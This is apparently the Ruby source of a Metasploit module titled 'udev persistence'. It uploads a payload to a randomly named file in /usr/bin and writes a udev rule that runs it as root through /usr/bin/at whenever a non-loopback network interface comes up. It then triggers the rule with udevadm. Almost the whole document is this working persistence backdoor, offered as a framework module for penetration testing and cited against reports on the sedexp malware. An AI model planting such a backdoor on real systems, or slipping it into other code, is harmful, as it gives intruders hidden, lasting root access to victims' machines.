📄 Udev Persistence

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
    
      Rank = GreatRanking
    
      include Msf::Post::File
      include Msf::Post::Unix
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'udev persistence',
            'Description' => %q{
              This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
              It'll be executed with root privileges everytime a network interface other than l0 comes up.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Julien Voisin'
            ],
            'Platform' => [ 'unix', 'linux' ],
            'Arch' => ARCH_CMD,
            'SessionTypes' => [ 'shell', 'meterpreter' ],
            'DefaultOptions' => { 'WfsDelay' => 90_000 },
            'Targets' => [ ['Automatic', {}] ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '1999-01-01',
            'Passive' => true,
            'Stance' => Msf::Exploit::Stance::Passive,
            'Notes' => {
              'Stability' => [],
              'Reliability' => [EVENT_DEPENDENT],
              'SideEffects' => [ARTIFACTS_ON_DISK]
            },
            'References' => [
              ['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
              ['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
            ]
          )
        )
        register_options([
    
          OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']),
          OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', ''])
        ])
      end
    
      def get_command
        unless executable? '/usr/bin/at'
          fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
        end
        %(/usr/bin/at -M -f #{@payload_path} now)
      end
    
      def exploit
        @payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH']
    
        @backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_numeric(2) + '-' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH']
    
        unless writable? File.dirname(@backdoor_path)
          fail_with Failure::BadConfig, "#{@backdoor_path} is not writable"
        end
    
        if exists? @backdoor_path
          fail_with Failure::BadConfig, "#{@backdoor_path} is already present"
        end
    
        unless writable? File.dirname(@payload_path)
          fail_with Failure::BadConfig, "#{@payload_path} is not writable"
        end
    
        if exists? @payload_path
          fail_with Failure::BadConfig, "#{@payload_path} is already present"
        end
    
        upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}")
        print_status "#{@payload_path} written"
    
        fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}"))
    
        print_status "#{@backdoor_path} written"
    
        # need to trigger first rule manually
        print_status 'Triggering udev rule'
        cmd_exec('udevadm trigger -v --subsystem-match=net')
    
        stime = Time.now.to_f
        timeout = datastore['ListenerTimeout'].to_i
        loop do
          break if timeout > 0 && (stime + timeout < Time.now.to_f)
    
          Rex::ThreadSafe.sleep(1)
        end
      end
    end